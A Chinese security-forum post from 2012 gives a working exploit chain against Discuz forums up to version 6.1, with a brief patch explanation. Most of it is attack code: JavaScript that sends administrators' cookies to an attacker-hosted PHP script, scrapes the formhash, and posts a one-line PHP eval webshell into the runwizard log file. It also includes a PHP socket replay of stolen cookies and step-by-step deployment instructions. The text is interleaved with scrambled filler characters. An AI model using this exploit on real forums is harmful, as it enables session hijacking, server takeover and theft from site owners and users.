中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell* P6 Q; F6 S2 ~  q/ @6 J# B: I% _7 ?9 l
By racle @tian6.com: J3 Y- ^, x8 E' |3 e/ P; w; K2 o* l
欢迎转帖.但请保留版权信息.- d" }4 ?: k" i+ R! |0 a4 X" w$ Z
受影响版本iscuz<=6.1.0,gbk+utf+big5# D9 A# f& P' ^* \3 l, N

% ]" L5 c  }5 _+ C, M* I新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
7 b. F, f$ K) a& ?9 E) d. I4 i3 i" E( K' ]+ C- X9 S2 O# f6 A. V

" g5 h2 V/ `5 w* H# L6 C3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
2 O8 n# L2 m& [9 q" ?当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
: s, I# m  A+ z
8 A2 A" ^5 Y4 z( W分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
4 b0 E$ b9 b8 E9 U& }0 X本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
0 h0 h, e% z5 x/ }: ?8 m
' u, G* Q$ w5 }, m* O6 b" r, G8 k; W2 O
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
, J' j0 l: ]2 w& v( ^& v4 S# S- W( U7 s

' p  Q* o! X1 Y/ S, c& ]1 Vproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
$ g/ ~  e" ^' `# L! B5 l! Y; l# b# V: f% B2 X
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
0 G4 d3 o" H7 G. E- \" f
, p# E+ W3 E, K* a# q- uproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.; @, o& d. Z6 y6 R
, q0 d& Y6 Z& N& v# ]7 r! |
# p" N3 N. u& c7 B( w- U
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {+ e" ^+ h4 i1 {  l& o) @# c% `$ ~
( d* u8 Q- F$ {
        global $runwizardfile, $runwizardhistory;& A) P* o1 j8 v3 @2 a6 u0 ^6 N
. P0 u4 U& {% p. W( C: C
        $fp = fopen($runwizardfile, 'w');
' B6 ^. B- o5 x
3 [) a: ]/ s+ A' H1 k! i  h        fwrite($fp, serialize($runwizardhistory));" H" c/ {2 @, L; U. j

. j$ [' P7 m" t- B$ y/ d" [. j) {        fclose($fp);& o: C9 ^- ~) {/ A

/ J4 W8 l9 w# Q}+ \2 g" F0 c5 |
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
! }$ m1 }$ R( ^以下是修补的办法:function saverunwizardhistory() {
5 ]. S  G; [" t, o7 N* |1 G& ]/ j2 U- z$ Y: }" ~; O
        global $runwizardfile, $runwizardhistory;
3 }: q9 u  d/ {# a" W8 Q" A, q. w/ g; G6 B
        $fp = fopen($runwizardfile, 'w');9 C# t$ Q* |% \( t8 H# \- l4 V( g0 x
! k. H4 N  ~) t/ L& N. P6 [
        $s = '<?php exit;?>';
) S0 e  W  F) G
4 A4 p4 q* V: M5 G, D' y        $s .= serialize($runwizardhistory);/ l. Y: K0 O3 I) o  j
7 b4 j- H( ~( x# ?6 v# o+ \' U
        fwrite($fp, $s);5 M, M* T. N& \/ p& |2 W$ l
: j/ C# D1 ~/ l7 L3 @5 \: ]7 o
        fclose($fp);
1 r! D, [, ?& P
/ \1 n  N( \4 m# B0 f  k! o# y/ P}
5 J* @! A3 \: \* ]复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
3 G+ H* @3 m, i& q! r0 J, M
+ `% U$ @. H* T2 {( ^, H' C( X" t
% Z- N  B4 F% E" Q9 I4 M+ Q) a3 n+ ~( Q- c
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------; P* b4 m$ f$ p1 i8 @

0 v% u- \6 \3 c8 |( {' D2 _: v7 F/ z! ~0 a( [% P! C1 t5 K
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
" r" C1 x9 V, \6 h  R5 `( k$ I8 ^, a% O- D  X  F6 }
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
/ T& W# P3 L2 v
* F$ D& I- T/ \9 J/ q1 l这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.6 C1 J; ~" e3 ]/ y0 c

4 n5 u5 o  y2 z' k/ N7 ^首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
0 f- n  [. R( g( S2 c& q0 Y( |( J: M8 c7 v, O4 R: y  R* A
var url="http://目标网站/admincp.php";        ]) i7 _1 u4 Q

3 ~( G5 C" f7 C$ `- O8 ~: o/ `1 B/*获得cookies*/3 U0 \& T2 {0 M9 Q" K

) A1 z3 \/ {$ G+ m, ]3 tfunction getURL(s) {
! h& C* f! n( y7 f1 f
5 G0 K" X4 U# p2 x' E0 w7 Svar image = new Image();
/ w) g# k9 ?: D) @1 t
3 I/ p! O( p/ G4 Uimage.style.width = 0;
. E6 u2 F3 P  H" X# i' U+ q
3 Q( z" h  ], s0 [: Gimage.style.height = 0;
( y7 p4 Y( }+ V; A$ m8 I7 A# e# U8 O7 ]  K
image.src = s;
9 a/ N& c7 B& f6 U2 O6 z& s7 ?! g/ i) I8 X  q
}( w/ y# ?& |7 O& J2 X
% @# B  t& {" f
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
  a5 n" e& K' n  W' a+ G1 Q9 B复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
% T6 c5 i* I) b+ y复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
2 r2 W3 j( E6 a/ @0 N. c% r6 K( E
6 \" F& \& R7 T$ t6 V( D$ o$ @
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";7 j  q3 P$ H- ?# v
7 J& j/ `( k7 \' p

8 P! {$ i3 n2 A0 k% Q& I& [. @8 y6 j/ F- T* f! t( b4 B" ]
/*hash*/
6 V/ v5 Z3 ~) n
# ^' k  q) I4 `8 [5 S0 r* G' w" R7 _var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");: k6 f7 m. }! i; e; w

4 ~) x# S, r# H4 hxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
5 I% t, f+ t) F* X# M* g" ]$ p: Z+ t( ~' ?
xmlHttpReq.send();% b/ S* F4 O: K
8 ^; k$ D3 R5 G% g2 L/ C
var resource = xmlHttpReq.responseText;
6 I% G7 O, `3 D' T2 h) V  K7 \% o, j8 {
var numero = resource.search(/formhash/);
) D$ I9 T: v2 s) a
2 }. x- e& M) ~+ Z; mvar formhash=encodeURIComponent(resource.substr(numero+17,8));% w; Z0 g9 I2 W# a  j! E" T) w

5 Z" Q- v( w2 i$ ^! y  a# o# s& |& c, j( g) ^$ K' Y0 S

+ Q, v1 x8 [1 d% e, g0 Qvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
0 ?( P# Y1 A+ w( w
, Q! [# Z: W( u# D: [xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
' r# s- B5 ~$ g, p5 P
7 I2 j: l2 Z- oxmlHttpReq.setRequestHeader("Referer", url);
" ^# S, ]$ m* e0 x# f# Y
4 D' U/ P' p3 _1 D" WxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 k5 S; ]) J) g

* H5 U2 ~3 Y  z9 {xmlHttpReq.setrequestheader("content-length",post.length); 5 X% n. @: E7 t7 W+ E

( r/ `* f, v0 h- W9 U4 S5 V" exmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
  c0 S$ C# @: o+ N- K" `, z( c8 W, B# }+ l( L) u& w
xmlHttpReq.send(post);//发送数据% {- R7 ]' K- k8 F4 p3 ^' w
复制代码这里HASH我假设正确,这样提交,也无须cookies+ d; j9 h  U0 b- P2 m
3 S+ {3 a# ?% ]# c+ s5 p
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
' Q7 v3 G  ~1 e+ K4 R5 C- s4 T+ I' H
if (!$sock) die("$errstr ($errno)\n");
, C+ [5 m) e* \# Z9 G) i. R( U  f1 F2 `% z9 t- e, B' m: l) c
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';0 I# W7 w3 \& H$ `$ K8 |6 e2 k
% E! j% T% O2 d/ @* I* S! O
4 j! {  u1 E" {- \( S. Y4 i
7 e5 ]/ G  D( @2 R; u) W4 D
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");& K+ F4 g5 r5 l5 G- ^

  L0 A- o! a# _3 {0 A4 @fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");2 d7 N# ^0 }1 ^4 Z2 W- Q! H

0 ^. B8 A! h* }+ u# l/ [+ X4 s0 r+ efwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");( C% I: e) e" E: ?

/ [" X: G  o' f! V. z( n9 mfwrite($sock, "Accept-Language: zh-cn\r\n");
. D* H3 b$ A) y9 R2 h$ o
4 C* A; Y) Z/ Y4 Gfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
3 g9 `2 s/ g+ T) z& s# j% O
4 J& Y. Y, c4 ^' W3 Yfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& ~+ u: h4 d6 a9 j
) @3 f5 R9 f+ f+ M* t' a% ?fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
' R2 p' v1 U3 Y$ W* P9 K: @0 |0 z: n; G" V
fwrite($sock, "Host: $url\r\n");
8 [9 Z5 r& P$ g
- f; ~  L- ~/ }! a0 `7 x* `+ jfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
0 V- M* p4 ^3 ~7 k- {. e
1 U7 }0 s' ?3 `) n+ dfwrite($sock, "Connection: Keep-Alive\r\n");
+ e5 O, K* ~7 |; e6 R+ Z* [8 N4 p; S! ?" p) [5 S1 `1 A) b
fwrite($sock, "Cache-Control: no-cache\r\n");
5 w  p2 p4 `$ f% q
+ O- `# r; {7 q" }1 ?! _; Lfwrite($sock, "Cookie:".$cookies."\r\n\r\n");5 j+ R: H' q& X! `7 g

' h& |, j1 g( i2 R7 ofwrite($sock, $data);
7 a8 ^' S  ^7 v8 d: y4 i6 i) h* Z
% g! R! I; G1 J9 w2 u

$ M. s( Q. ~& ]$headers = "";
& |) Z2 @, ~; y8 S9 a  @! s, C: z
, w" D' a4 M/ S% K8 w- `$ }while ($str = trim(fgets($sock, 4096))), a& z; i9 n$ I9 B& i2 n: q7 X/ n* x
( H$ P* {, _9 l5 E2 l
     $headers .= "$str\n";
& l. D: o9 I/ |
6 @% t2 ^" {$ L) `: s% lecho "\n";8 a  [, @1 d" J
; v0 d! c3 n+ z& _9 [4 P
$body = "";
' k" h9 H! c- f
, F, V' s7 d4 k: ^while (!feof($sock))/ D7 I, c* R$ p8 e0 G

# a, K0 \5 _( H# X9 p     $body .= fgets($sock, 4096);7 W! E9 q# a  i$ {  g
* m8 T' E( E6 u( V5 _% P9 u
fclose($sock);
, r$ H! `, W8 Q* E
5 ?5 S: V: S6 N+ \2 U  H& qecho $body;
) B. ?$ q; X- d( }7 ^7 L# V复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
' b1 M+ r( h* J- @8 H; v4 W6 K& t) ~  n; e# @# ]7 `4 F) f8 c

- ]8 U% r' h/ d-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------: n7 K( `. K: Y$ J! O
# E& U* u( B+ z( x9 |
  g6 c6 [5 k- y8 o) ^) z
1HP SOCKET利用方法首先打开racle.js
4 Z; z6 q  O* J5 \: ]/ B# q* }4 S% e  U
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
- n, M# c; f$ Y3 [, U+ T+ B1 f) F) `% W) ~4 I/ B9 A* `

4 x1 ?, s. h, `% B$ k7 m5 p: P6 R* o: \( x" x) G5 {
然后打开racle@tian6.php
9 |* l, m4 }4 O/ k0 L  U$ v# O" [* u  j$ o. d
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com  J" m9 m4 V- `0 [0 O: D: W
, U4 t; H9 j2 S- A
9 i1 J' h3 u$ p' h

* @( m$ x+ T0 b  a* {0 z8 v; R: x. }如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
! r' x& U/ _9 A
2 j8 K6 j8 Y! O2 n  V. h2 CgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));, F: e/ Q7 A1 Z- \+ m
8 {' w! P) t: r

3 n8 S- E3 J! z5 G, c/ _+ _# {' K
; q5 Z" d6 k# C$ x  D( igetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));7 u) Y3 `4 x7 S8 e
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
& H4 m( t3 p4 i2 y& |- d6 R2 h$ E$ T% w9 I
. P* w9 a( H, r, ~$ c

1 A% M7 d( f# H; D" Y如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:6 X  x5 |# [8 y. V1 f( I4 k
8 ^  h  @$ x  \, O% P; D
var formhash=encodeURIComponent(resource.substr(numero+17,8));
' l4 e6 |6 U' l$ x5 E& z% j0 ^9 {0 q; G9 V& i% q) v* j, `, C
% O2 c) ~) l3 c6 _$ a- M
. @8 I0 n% u+ t% D: N
var formhash=encodeURIComponent(resource.substr(numero+9,8));
+ w+ @  b$ M- [4 r4 O复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.! j, c& {- u& g. o% ?. i
+ O) I& R& b; `* h5 f
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
+ f  g; E- K5 y. i3 Z3 X- d& K3 `( L5 W& C
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
! O1 b( d/ O$ _5 ]; X3 n5 W& K- R+ f* Y" _2 @2 x
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.! H' _% x$ @- t& G- W

! ]8 y2 j- Q, [6 }4 {8 {/ v




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2